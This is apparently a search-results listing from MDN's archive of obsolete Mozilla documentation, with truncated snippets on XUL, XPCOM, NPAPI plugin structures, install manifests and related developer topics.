how mozilla finds its configuration files mozilla looks into the binary %userprofile%\application data\mozilla\registry.dat file for its "registry", which contains, amongst other information, a pointer to the directory where the profile is stored (located at common/profiles/profilename/directory.
Bookmark Keywords - Archive of obsolete content
these searches can be as complex as google will tolerate, since the entered data will be converted to url-encoded text before it's sent to the google servers.
Getting Started - Archive of obsolete content
this file is a small xml database that describes the skin.
install.rdf - Archive of obsolete content
zilla:install-manifest"> <em:id>author@oftheme.com</em:id> <em:version>2.0b1</em:version> <!-- seamonkey --> <em:targetapplication> <description> <em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id> <em:minversion>2.0b1pre</em:minversion> <em:maxversion>2.0b2pre</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>my_theme</em:name> <em:description>my first theme</em:description> <!-- front end integration hooks (used by theme manager)--> <em:creator>john johnson</em:creator> <em:contributor>john johnson</em:contributor> <em:homepageurl>https://mycoolskin.com/</em:homepageurl> <em:updateurl>https://mycoolskin.com/</em:updateurl> <em:abouturl>https://mycoolskin...
Getting Started - Archive of obsolete content
this file is a small xml database which is used to describe the skin.
DTrace - Archive of obsolete content
probe data can be collected with scripts written in d (no, not that one).
Dehydra Function Reference - Archive of obsolete content
write_file(filename, data) write a string to a file.
Dehydra Object Reference - Archive of obsolete content
often, the best way to become familiar with the dehydra objects is to print out the objects: dehydra example code an online tool for pretty-printing dehydra data understanding properties dehydra only sets properties that are applicable.
Editor Embedding Guide - Archive of obsolete content
commandparam->setcstringvalue("state_attribute","left"); reading for reading you may go after individual name/value pairs you know are there or you may iterate through all the name/value pairs and programatically pull off data.
Error Console - Archive of obsolete content
manipulating data displayed in error console information displayed in error console can be accessed and manipulated through the console service.
Repackaging Firefox - Archive of obsolete content
it is possible to set a value for localizable preferences directly in the partner.js file, like this: pref("localizable.preference.name", "data:text/plain,localizable.preference.name=some value."); then, a properties file is not used (or needed at all) for that preference.
Using microformats - Archive of obsolete content
microformats allow web sites to provide semantic data to the browser in order to make it possible to present summaries of the information on a page without having to know how to parse the document itself.
Code snippets - Archive of obsolete content
.queryinterface(components.interfaces.nsidocshelltreeitem) .roottreeitem .queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsidomwindow); // obtain a reference to sync's tabs "engine." let tabsengine = weave.service.enginemanager.get("tabs"); // iterate over each client having data.
HTTP Class Overview - Archive of obsolete content
ments nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identifies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponse...
Hidden prefs - Archive of obsolete content
see http://lxr.mozilla.org/mozilla/sourc...drdatabase.idl for the list of valid attributes "c" == contains.
importUserCertificates - Archive of obsolete content
the private key for the certificates must already reside in the user's personal private key database.
Jetpack Snippets - Archive of obsolete content
using firebug lite in a slidebar jetpack.future.import("slidebar");jetpack.slidebar.append({ html: <html><head></head><body> <p>some slidbar you want to debug</p> <a href="javascript:console.log('hello!')">test</a> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ...
Storage - Archive of obsolete content
simple storage an easy-to-use persistent object data store file access interface for performing file i/o settings settings persist across browser sessions and are accessible to jetpacks via simple object retrieval and assignment.
Clipboard Test - Archive of obsolete content
features can get and set the clipboard in various flavors of data type.
Litmus tests - Archive of obsolete content
litmus tests are (non-automated) tests that are documented in the litmus database.
Measuring add-on startup performance - Archive of obsolete content
once installed, it will gather startup data and display it in the about:startup page.
Mozilla Application Framework - Archive of obsolete content
tools venkman a javascript debugger with support for breakpoints, conditional breakpoints, local variable inspection, watch variables, single step, stop on error, profile data collection, report generation, code reformatting (pretty printing), and more.
Plugin Architecture - Archive of obsolete content
it takes care of most of the work involved in loading the data and instantiating plugins.
FAQ - Archive of obsolete content
ArchiveMozillaPrismFAQ
at the same time, we're also working to increase the capabilities of those apps by adding features to the web itself, like support for offline data storage and access to 3d graphics hardware, that will be available to web applications in both prism and firefox.
SpiderMonkey coding conventions - Archive of obsolete content
and library-private and static data use underscores, not intercaps (but library-private data do use a js_ prefix).
The new nsString class implementation (1999) - Archive of obsolete content
ate base structure eliminates class fragility problem; safe across dll boundaries offers c-style function api to manipulate nsstrimpl offers simple memory allocator api for specialized memory policy shares binary format with bstring coming soon: a new xpcom (nsistring) interface non-templatized; this is a requirement for gecko very efficient buffer manipulation architecture the fundamental data type in the new architecture is struct nsstrimpl, given below: struct nsstrimpl { print32 mlength; void* mbuffer; print32 mcapacity; char mcharsize; char munused; // and now for the nsstrimpl api...
Treehydra Manual - Archive of obsolete content
l_struct_function(fn)) { // fn has a body print(fn); let cfg = function_decl_cfg(fn); } } gimple reference for a detailed description of gimple see gcc/tree.def and gcc/cp/operators.def see also treehydra.js, gcc_compat.js, gcc_util.js, and gcc_print.js in the treehydra libs directory, which have many ports of gcc macros and other functions for conveniently accessing gimple data in javascript.
Venkman Internals - Archive of obsolete content
venkman-records.js a "record" seems to be data underlying a view.
Binding Implementations - Archive of obsolete content
<method name="scrolltoindex"> <parameter name="index"/> <body> <![cdata[ if (index < 0) return; ...
Windows Install - Archive of obsolete content
var subkey; // the name of the subkey you are poking around in var valname; // the name of the value you want to look at var value; // the data in the value you want to look at.
getFolder - Archive of obsolete content
cosx music documents" "macosx picture documents" "macosx user applications" "macosx user desktop" "macosx user documents" "macosx user frameworks" "macosx user internet plugin" "macosx user preferences" "unix lib" "unix local" "windows" "win appdata" "win common files" "win desktop" "win desktop common" "win program files" "win programs" "win programs common" "win startmenu" "win startmenu common" "win startup" "win startup common" "win system" the "file:///" form is only valid when the subdirectory param...
WinProfile Object - Archive of obsolete content
the two methods of the winprofile object, getstring and writestring, allow you to read and write the data in the key/value pairs of a windows .ini file.
Learn XPI Installer Scripting by Example - Archive of obsolete content
in the example in the executing the installation section and in many places in the installation script, the logcomment api is used to write data to a log file that can then be reviewed when things don't go as planned.
ref - Archive of obsolete content
ArchiveMozillaXULAttributeref
this attribute should be placed alongside the datasources attribute.
searchSessions - Archive of obsolete content
« xul reference home searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete.
sort - Archive of obsolete content
ArchiveMozillaXULAttributesort
« xul reference home sort type: uri or xml attribute set this to a rdf property or xml attribute to have the data in the column sorted based on that property.
sortResource - Archive of obsolete content
place this attribute on the same element as the datasources attribute.
template - Archive of obsolete content
« xul reference home template type: id for template generated elements, this attribute may optionally be placed on the root node (the element with the datasources attribute) to refer to a template that exists elsewhere in the xul code.
uri - Archive of obsolete content
ArchiveMozillaXULAttributeuri
elements that appear inside the element with the attribute will be repeated for each node in the rdf datasource.
Dynamically modifying XUL-based user interface - Archive of obsolete content
a document is a data structure which is manipulated through dom apis.
Accessing Files - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
Working With Directories - Archive of obsolete content
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
TOC - Archive of obsolete content
ArchiveMozillaXULFileGuideTOC
other documentation on files and i/o not using the unavailable nsiscriptableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes.
Menus - Archive of obsolete content
context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection views the selection source selection context-viewpartialsource-mathml views the mathml source mathml context-viewsource views the source context-viewinfo views the page info context-metadata views the properties context-spell-check-enabled spell check enabled checkbox context-inspect inspects the element ...
Introduction to XUL - Archive of obsolete content
javascript is most safely kept in a separate file and included in the xul file <html:script language="javascript" src="our.js"/> or relegated to the contents of a cdata section, to prevent the xml parser from choking on javascript which may look like xml content (a < character, for instance.) <html:script type="application/javascript"> <![cdata[ function lesser(a,b) { return a < b ?
getBrowserIndexForDocument - Archive of obsolete content
it should not be used to track per-tab data during a session; the use of linkedpanel on the corresponding tab is preferred instead.
loadOneTab - Archive of obsolete content
« xul reference home loadonetab( url, referreruri, charset, postdata, loadinbackground, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., inbackground: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
loadTabs - Archive of obsolete content
the properties of params are following: boolean inbackground boolean replace boolean allowthirdpartyfixup tab targettab number newindex object postdatas number usercontextid ...
loadURI - Archive of obsolete content
ArchiveMozillaXULMethodloadURI
(this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a url into the document, with the given referrer and character set.
Panels - Archive of obsolete content
it is used when supporting temporary popup displays for selecting or entering data.
uri - Archive of obsolete content
ArchiveMozillaXULPropertyuri
when a rule is evaluated, it scans through each resource in the rdf datasource looking for a match.
Property - Archive of obsolete content
d color columns command commandmanager completedefaultindex container contentdocument contentprincipal contenttitle contentview contentvieweredit contentviewerfile contentwindow contextmenu control controller controllers crop current currentindex currentitem currentnotification currentpage currentpane currentset currenturi customtoolbarcount database datasources date dateleadingzero datevalue decimalplaces decimalsymbol defaultbutton defaultvalue description dir disableautocomplete disableautocomplete disableautoselect disabled disablekeynavigation dlgtype docshell documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 e...
The Joy of XUL - Archive of obsolete content
the calendar application is comprised of a xul front end and an xpcom component that leverages libical, a native library written in c, for date operations and calendar data storage.
Toolbar customization events - Archive of obsolete content
none of these events contain any data; if you need details, you'll need to look at the toolbar.
Tree Widget Changes - Archive of obsolete content
this may be used to redraw a cell after it or its data has been changed.
Adding Methods to XBL-defined Elements - Archive of obsolete content
you can also use a cdata section to escape the entire block of code.
Adding Properties to XBL-defined Elements - Archive of obsolete content
for example, the following field is given a default value equal to the current time: <field name="currenttime"> new date().gettime(); </field> properties sometimes you will want to validate the data that is assigned to a property.
Adding Style Sheets - Archive of obsolete content
ze"/> <menuitem label="date modified"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="is"/> <menuitem label="is not"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"/> ...
Cross Package Overlays - Archive of obsolete content
however, you can force the data to be rebuilt by deleting this directory and the chrome.rdf file.
Document Object Model - Archive of obsolete content
our find files example it doesn't make sense to have the progress bar and the dummy tree data displayed when the find files dialog is first displayed.
Localization - Archive of obsolete content
ze;"/> <menuitem label="&type.date;"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="searchmode"> <menupopup> <menuitem label="&mode.is;"/> <menuitem label="&mode.isnot;"/> </menupopup> </menulist> <spacer class="springspace"/> <menulist id="find-text" flex="1" editable="true" datasources="file:///mozilla/recents.rdf" ref="http://www.xulplanet.com/rdf/recent/all"> <template> <menupopup> <menuitem label="rdf:http://www.xulplanet.com/rdf/recent#label" uri="rdf:*"/> </menupopup> </template> </menulist> </groupbox> </tabpanel> <tabpanel id="optionspanel" orient="vertical"> <checkbox id="casecheck" label="&casesensi...
More Tree Features - Archive of obsolete content
the former creates the data for the parent row and the latter contains the child items.
More Wizards - Archive of obsolete content
you can change the property when invalid or valid data has been entered.
Skinning XUL Files by Hand - Archive of obsolete content
this needs rewording: , which, like the windows registry, is a database in which information about a user's software and environment can be recorded and accessed as necessary.
Styling a Tree - Archive of obsolete content
however, you will often set the properties based on values in the datasource.
The Chrome URL - Archive of obsolete content
mozilla will take care of determining where the file is located and return the right data.
XBL Inheritance - Archive of obsolete content
set the searchsessions to indicate what type of data to look up.
XPCOM Interfaces - Archive of obsolete content
services provide general functions which either get or set global data or perform operations on other objects.
XUL Tutorial - Archive of obsolete content
selection commands updating commands broadcasters and observers document object model document object model modifying a xul interface manipulating lists box objects xpcom interfaces xpcom examples trees trees more tree features tree selection custom tree views tree view details tree box objects rdf and templates introduction to rdf templates trees and templates rdf datasources advanced rules persistent data skins and locales adding style sheets styling a tree modifying the default skin creating a skin skinning xul files by hand localization property files bindings introduction to xbl anonymous content xbl attribute inheritance adding properties adding methods adding event handlers xbl inheritance creating reusable content using css and x...
Using the Editor from XUL - Archive of obsolete content
it responds to the start of a drag in draggesture by adding data to the drag, notifies the drag whether a drop can occur in dragover, and handles the drop by inserting data in dragdrop.
XUL Parser in Python/source - Archive of obsolete content
e = strip(t) if name not in el_list: el_list[name] = {} for attr,val in a.items(): el_list[name][strip(attr)] = strip(val) def syntax_error(self, message): pass p = xulparser() cmd = 'dir /s /b *.xul' chrome_dir = 'c:\program files\netscape\netscape 6\chrome' os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</table></ht...
XUL accessibility guidelines - Archive of obsolete content
for example, under the privacy section of preferences there are three groupboxes captioned: history, cookies, and private data.
XUL and RDF - Archive of obsolete content
the second section describes the xul/rdf architecture itself and outlines enhancements to the xul language in order to allow the markup language to reference local data and to indicate how and when it would like to be annotatable with local data.
XUL - Archive of obsolete content
template guide a detailed guide on xul templates, which is a means of generating content from a datasource.
CommandLine - Archive of obsolete content
ommand-line-handler", cld_category); }, canunload : function (acompmgr) { return true; } }; function nsgetmodule(acompmgr, afilespec) { return apphandlermodule; } create an observer that will get notified when arguments change: chrome/content/cmdline.js function commandlineobserver() { this.register(); } commandlineobserver.prototype = { observe: function(asubject, atopic, adata) { var cmdline = asubject.queryinterface(components.interfaces.nsicommandline); var test = cmdline.handleflagwithparam("test", false); alert("test = " + test); }, register: function() { var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.ad...
Components - Archive of obsolete content
linux: ~/.yourcompany/yourapp/oihizuf.default/ windows: %appdata%\yourcompany\yourapp\profiles\jhfdfdi.default\ ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
ulrunner\*; destdir: {app}\xulrunner; components: runtime; flags: ignoreversion recursesubdirs createallsubdirs ; note: don't use "flags: ignoreversion" on any shared system files [icons] name: {group}\my app; filename: {app}\myapp.exe name: {group}\{cm:uninstallprogram,xul explorer}; filename: {uninstallexe} name: {userdesktop}\my app; filename: {app}\myapp.exe; tasks: desktopicon name: {userappdata}\microsoft\internet explorer\quick launch\my app; filename: {app}\myapp.exe; tasks: quicklaunchicon [run] filename: {app}\myapp.exe; description: {cm:launchprogram,my app}; onlybelowversion: 0,6; flags: nowait postinstall skipifsilent step 4: building an installer once your script is ready, start the inno setup compiler, load the script file, and compile it.
MacFAQ - Archive of obsolete content
) <?xml version="1.0"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="myxul_hidden" windowtype="myxul:hiddenwindow" title="" width="0" height="0" persist="screenx screeny width height sizemode" > <!-- load the mozilla helpers --> <script type="application/javascript" src="chrome://global/content/nsusersettings.js" /> <script><![cdata[ function debug(alogstring) { var mconsoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) mconsoleservice.logstringmessage("myxul: " + alogstring + "\n"); } function checkotherwindows() { var singletonwindowtype = nspreferences.copyunicharpref("toolkit.singletonwindowty...
Using Crash Reporting in a XULRunner Application - Archive of obsolete content
to enable crash reporting on the client, set the following items in application.ini: [crash reporter] enabled=true serverurl=https://your.server.url/submit note: because crash reports can contain private data including passwords, in production environments they should only be sent via https.
Using SOAP in XULRunner 1.9 - Archive of obsolete content
omponents.utils.reporterror(obj.tosource()); }; soapclient.proxy = url; var body = new soapobject(method); body.ns = ns; for (var k in params) { body.appendchild(new soapobject(k).val(params[k])); } var req = new soaprequest(url, body); req.action = ns + '#' + method; soapclient.sendrequest(req, callback); diff between jqsoapclient.js and sasoapclient.js 42c42 < var jsout = $.xmltojson(xdata.responsexml); --- > var jsout = xmlobjectifier.xmltojson(xdata.responsexml); 46,60c46,62 < $.ajax({ < type: "post", < url: soapclient.proxy, < datatype: "xml", < processdata: false, < data: content, < complete: getresponse, < contenttype: soapclient.contenttype + "; charset=\"" + soapclient.charset + "\"", < beforesend: function(req) { < req.se...
mozilla.dev.platform FAQ - Archive of obsolete content
0x00016b50 in xre_createappdata () a: when you <tt>--disable-libxul</tt>, the xpcom glue doesn't have information about how to load all the dependent libraries like <tt>libgfx.dylib</tt>.
2006-10-06 - Archive of obsolete content
david bienvenu suggests a top down architectural description of tb's data structures along with documentation about extracting them.
2006-10-13 - Archive of obsolete content
discussions shared training.dat & message filters jon-mikel is looking for suggestions on sharing spam filter data and message filters between machines easily.
2006-11-03 - Archive of obsolete content
tb storage-idea tb is planning to change from mbox-format storage to database-based storage.
2006-11-10 - Archive of obsolete content
interfacing with thunderbird mark bannister is looking for directions on interfacing thunderbird with their project management database.
2006-10-20 - Archive of obsolete content
he also added that the linux performance test data is now being provided by bl-bldlnx01.
2006-11-24 - Archive of obsolete content
"component returned failure code: 0x80570016 (ns_error_xpc_gs_returned_failure) [nsijscid.getservice]" nsresult: "0x80570016 (ns_error_xpc_gs_returned_failure)" location: "js frame :: chrome://modzilla/content/js/pkg_zillacom.js :: <top_level> :: line 1202" data: no] he is running xulrunner v1.8.0.4.
2006-12-01 - Archive of obsolete content
peter wilson's reply was to add a method that does the deleting with a native implementation that releases the resources held by the object as seen in this database interface: var mydbase = new pgsqlconnection; mydbase.connect("database"); mydbase.exec("select * from mytable where ..."); // use the result data - (native implementation function) mydbase.close() spidermonkey for server side inquiry about why javascript hasn't caught on for general server-side scripting.
2006-09-29 - Archive of obsolete content
details can be located at layout confusion refactoring the nshtmlreflowstate(computeblockboxdata, initconstraints) and nsimageframe::getdesiredsize which uses ns_inrinsicsize, into the following method: /** * compute the size that a frame will occupy.
2006-09-30 - Archive of obsolete content
developers should use this sample instead: http://developer.mozilla.org/en/docs/xpcom_glue discussions dynamic load overlay a short discussion about the possibilities of loading and unloading xul overlay runtime reading binary data from file discusses about the code to read binary data from file how to build xpcom component on mac os x discusses about the make file code used to build xpcom components on mac os x successfully meetings none during this week.
2006-12-08 - Archive of obsolete content
saving binary data from nsixmlhttprequest a discussion on how to use nsixmlhttprequest object to query data from a url in an extension implemented in javascript meetings none during this week.
NPAPI plugin developer guide - Archive of obsolete content
specifying that a plug-in is windowless invalidating the drawing area forcing a paint message making a plug-in opaque making a plug-in transparent creating pop-up menus and dialog boxes event handling for windowless plug-ins streams receiving a stream telling the plug-in when a stream is created telling the plug-in when a stream is deleted finding out how much data the plug-in can accept writing the stream to the plug-in sending the stream in random-access mode sending the stream in file mode sending a stream creating a stream pushing data into the stream deleting the stream example of sending a stream urls getting urls getting the url and displaying the page posting urls posting data to an http server uploading files to a...
NPByteRange - Archive of obsolete content
syntax typedef struct _npbyterange { int32 offset; /* negative offset = from the end */ uint32 length; struct _npbyterange* next; } npbyterange; fields the data structure has the following fields: offset offset in bytes to the start of the requested range.
NPEmbedPrint - Archive of obsolete content
syntax typedef struct _npembedprint { npwindow window; void* platformprint; /* platform-specific */ } npembedprint; fields the data structure has the following fields: window the npwindow the plug-in should use for printing.
NPFullPrint - Archive of obsolete content
syntax typedef struct _npfullprint { npbool pluginprinted; /* true: print fullscreen */ npbool printone; /* true: print one copy */ /* to default printer */ void* platformprint; /* platform-specific */ } npfullprint; fields the data structure has the following fields: pluginprinted determines whether the plug-in prints in full-page mode.
NPN_DestroyStream - Archive of obsolete content
values: npres_done (most common): stream completed normally; all data was sent by the plug-in to the browser.
NPN_MemFlush - Archive of obsolete content
in general, plug-ins should use npn_memalloc() to allocate memory in the browser's memory space, since this function automatically frees cached data if necessary to fulfill the request.
NPP_SetWindow - Archive of obsolete content
the data structure passed in npp_setwindow is an npwindow object, which contains the coordinates of the instance's area and various platform-specific data.
NPPrint - Archive of obsolete content
syntax typedef struct _npprint { uint16 mode; /* np_full or np_embed */ union { npfullprint fullprint; /* if mode is np_full */ npembedprint embedprint; /* if mode is np_embed */ } print; } npprint; fields the data structure has the following fields: mode determines whether plug-in prints in full-page or embedded mode.
NPRect - Archive of obsolete content
syntax typedef struct _nprect { uint16 top; uint16 left; uint16 bottom; uint16 right; } nprect; fields the data structure has the following fields: top, left, bottom, right the top, left, bottom, and right sides of the rectangle.
NPSetWindowCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; display* display; visual* visual; colormap colormap; unsigned int depth; } npsetwindowcallbackstruct; fields the data structure has the following fields: type always contains np_setwindow.
NPVariant - Archive of obsolete content
syntax typedef struct _npvariant { npvarianttype type; union { bool boolvalue; int32_t intvalue; double_t doublevalue; npstring stringvalue; npobject *objectvalue; } value; } npvariant; fields the data structure has the following fields: type a member of the npvarianttype enumeration specifying the data type contained in the npvariant.
NPVariantType - Archive of obsolete content
« gecko plugin api reference « scripting plugins summary npvarianttype is an enumeration that is used to identify the data type of an npvariant structure.
NPWindow - Archive of obsolete content
_npwindow { void* window; /* platform specific handle */ uint32_t x; /* coordinates of top left corner */ uint32_t y; /* relative to a netscape page */ uint32_t width; /* maximum window size */ uint32_t height; nprect cliprect; /* clipping rectangle coordinates */ #ifdef xp_unix void * ws_info; /* platform-dependent additional data */ #endif /* xp_unix */ npwindowtype type; /* window or drawable target */ } npwindow; fields the data structure has the following fields: window platform-specific handle to a native window element in the netscape window hierarchy on windows (hwnd) and unix (x window id).
NP_Port - Archive of obsolete content
syntax typedef struct np_port { cgrafptr port; /* grafport */ int32 portx; /* position inside the topmost window */ int32 porty; } np_port; fields the data structure has the following fields: port standard mac os port into which the plug-in should draw.
NP_Shutdown - Archive of obsolete content
use np_shutdown to delete any data allocated in np_initialize to be shared by all instances of a plug-in.
Supporting private browsing in plugins - Archive of obsolete content
potentially private information may include (but is not necessarily limited to) history information for downloaded data.
0.90 - Archive of obsolete content
ArchiveRSSVersion0.90
it was created by netscape to be a metadata format providing a summary of a website.
RSS - Archive of obsolete content
really simple syndication (rss) is a popular html-like xml-based data format used for syndication.
title - Archive of obsolete content
the rsstitle element contain onlyplain text data.
.htaccess ( hypertext access ) - Archive of obsolete content
cache control : .htaccess allows a server to control caching by web browsers, helps load pages faster, and reduces the data transfer.
Confidentiality, Integrity, and Availability - Archive of obsolete content
in other words, only the people who are authorized to do so can gain access to sensitive data.
install.rdf - Archive of obsolete content
--> <em:targetapplication> <description> <!-- firefox's uuid --> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>min_ff_version</em:minversion> <em:maxversion>max_ff_version</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <!-- my_theme --> <em:name>my_theme</em:name> <em:description>my_theme</em:description> <em:creator>your_name</em:creator> <em:contributor>contributors_names</em:contributor> <em:homepageurl>themes_homepage</em:homepageurl> <em:updateurl> url_of_update_location </em:updateurl> <em:abouturl> url_of_about_page </em:abouturl> <!-- front end integration hooks (used by theme man...
Using the W3C DOM - Archive of obsolete content
useful references on changing an element's text using the dom whitespace in the dom by david baron element.innerhtml speed and performance comparison between innerhtml attribute and dom's nodevalue when modifying the text data of a text node by gérard talbot interactive dom level 2 characterdata interface attributes and methods tests: other ways to modify (replace, delete, manipulate) efficiently text nodes in the dom by gérard talbot <- previous section: using web standards: how next section: developing cross-browser pages -> ...
-ms-flow-from - Archive of obsolete content
the -ms-flow-from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the content flow from the data source.
-ms-flow-into - Archive of obsolete content
the -ms-flow-into css property is a microsoft extension that gets or sets a value identifying an iframe container in the document that serves as the region's data source.
-ms-hyphenate-limit-zone - Archive of obsolete content
for more information about supported length units, see css basic data types.
CSS - Archive of obsolete content
ArchiveWebCSS
property is a microsoft extension that specifies whether zooming is enabled.-ms-filterthe -ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object.-ms-flow-fromthe -ms-flow-from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the content flow from the data source.-ms-flow-intothe -ms-flow-into css property is a microsoft extension that gets or sets a value identifying an iframe container in the document that serves as the region's data source.-ms-high-contrast-adjustthe -ms-high-contrast-adjust css property is a microsoft extension that gets or sets a value indicating whether to override any css properties that would have been set in high contrast ...
E4X for templating - Archive of obsolete content
_if (cond, h, _else) { if (cond && cond != undefined) { // we need undefined condition for e4x return h(cond); } else if (_else) { return _else(cond); } return ''; // empty string allows conditions in attribute as well as element content } for example: {_if(elems.length(), function () <description>{elems[0]}</description>, function _else () <label>no data</label> )} note that the simple xmllist() constructor (<></>) may be useful to still be able to use an expression closure (i.e., without needing return statements and braces): {_if(elems.length(), function () <> <markup/> <markup/> </>)} note that, while it is convenient to store such e4x in separate file templates (to be eval()d at a later time, taking into account security con...
E4X - Archive of obsolete content
ArchiveWebE4X
the difference between the two modes is that without the "e4x=1" mime type, any statement-level xml/html comment literals (<!--...-->) are ignored for backwards compatibility with the comment hiding trick, and cdata sections (<![cdata[...]]>) are not parsed as cdata literals (which leads to a js syntax error in html since html's <script> element produces an implicit cdata section, and therefore cannot contain explicit cdata sections).
ECMAScript 2015 support in Mozilla - Archive of obsolete content
arraybuffer get arraybuffer[@@species] (firefox 48) dataview int8array uint8array uint8clampedarray int16array uint16array int32array uint32array float32array float64array get %typedarray%[@@species] (firefox 48) expressions and operators new.target (firefox 41) spread operator for arrays (firefox 16) use symbol.iterator property (firefox 36) spread operator for function calls (firefox 27) use symbol.iterator property ...
Object.observe() - Archive of obsolete content
rty(obj, 'foo', {writable: false}); // [{name: 'foo', object: <obj>, type: 'reconfigure'}] object.setprototypeof(obj, {}); // [{name: '__proto__', object: <obj>, type: 'setprototype', oldvalue: <prototype>}] object.seal(obj); // [ // {name: 'foo', object: <obj>, type: 'reconfigure'}, // {name: 'bar', object: <obj>, type: 'reconfigure'}, // {object: <obj>, type: 'preventextensions'} // ] data binding // a user model var user = { id: 0, name: 'brendan eich', title: 'mr.' }; // create a greeting for the user function updategreeting() { user.greeting = 'hello, ' + user.title + ' ' + user.name + '!'; } updategreeting(); object.observe(user, function(changes) { changes.foreach(function(change) { // any time name or title change, update the greeting if (change.name === ...
Archived JavaScript Reference - Archive of obsolete content
you can use the more general proxy object instead.arraybuffer.transfer()the static arraybuffer.transfer() method returns a new arraybuffer whose contents have been taken from the oldbuffer's data and then is either truncated or zero-extended by newbytelength.
ParallelArray - Archive of obsolete content
the goal of parallelarray was to enable data-parallelism in web applications.
Sharp variables in JavaScript - Archive of obsolete content
warning: sharp variables was a non-standard syntax for creating or serializing cyclic data graphs that used to be supported only by mozilla's spidermonkey js engine.
Window.importDialog() - Archive of obsolete content
aarguments a javascript object containing data to pass to the dialog.
RFE to the Custom Controls Interfaces - Archive of obsolete content
in short, we have the following interfaces: nsixformsaccessors - serves to get/set the value of the instance data node that the xforms element is bound to as well as getting the various states of that node nsixformsdelegate - used to obtain the nsixformsaccessors interface nsixformsuiwidget - used by the xforms processor to update the value/state of an xforms element when its bound node's value/state is changed our current mechanism that allows authors to build custom controls assumes that the controls will be bound to instance nodes of simple content type.
Requests For Enhancement - Archive of obsolete content
ArchiveWebXFormsRFE
our custom control interfaces allows for the exchange of data between any xml element and and an xforms model.
XForms Help Element - Archive of obsolete content
the message of the help element can exist in instance data, in a remote document, or as inline text.
XForms Hint Element - Archive of obsolete content
the message of the hint element can exist in instance data, in a remote document, or as inline text.
XForms Message Element - Archive of obsolete content
the message of the message element can exist in instance data, in a remote document, or as inline text.
XForms - Archive of obsolete content
other strengths that xforms brings to the table is the separation of data from presentation, strong data typing, the ability to submit xml data to servers instead of name/value pairs, and a descriptive way to author forms so that they can be displayed by a wide variety of devices.
Archived open Web documentation - Archive of obsolete content
parallelarray the goal of parallelarray was to enable data-parallelism in web applications.
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
by having a standardized set of test suites, the qa organization can easily maintain, verify, and certify the tests, and eliminate redundant testing databases to ensure consistency and reliability.
Mozilla's DOCTYPE sniffing - Archive of obsolete content
the system identifier "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" (before 1.5b and 1.4.2, this triggered almost standards mode).
XUL Parser in Python - Archive of obsolete content
if you want to look for certain widgets within the xul files, you can get the filename from the calling method p.feed(data) and create a condition that only gets the elements specified in sys.argv[1].
Desktop gamepad controls - Game development
the pressed() function gets the input data and sets the information about it in our object, and the axes property stores the array containing the values signifying the amount an axis is pressed in the x and y directions, represented by a float in the (-1, 1) range.
Implementing controls using the Gamepad API - Game development
next, we set up two event listeners to get the data: window.addeventlistener("gamepadconnected", gamepadapi.connect); window.addeventlistener("gamepaddisconnected", gamepadapi.disconnect); due to security policy, you have to interact with the controller first while the page is visible for the event to fire.
Techniques for game development - Game development
using webrtc peer-to-peer data channels in addition to providing support for audio and video communication, webrtc lets you set up peer-to-peer data channels to exchange text or binary data actively between your players.
Build the brick field - Game development
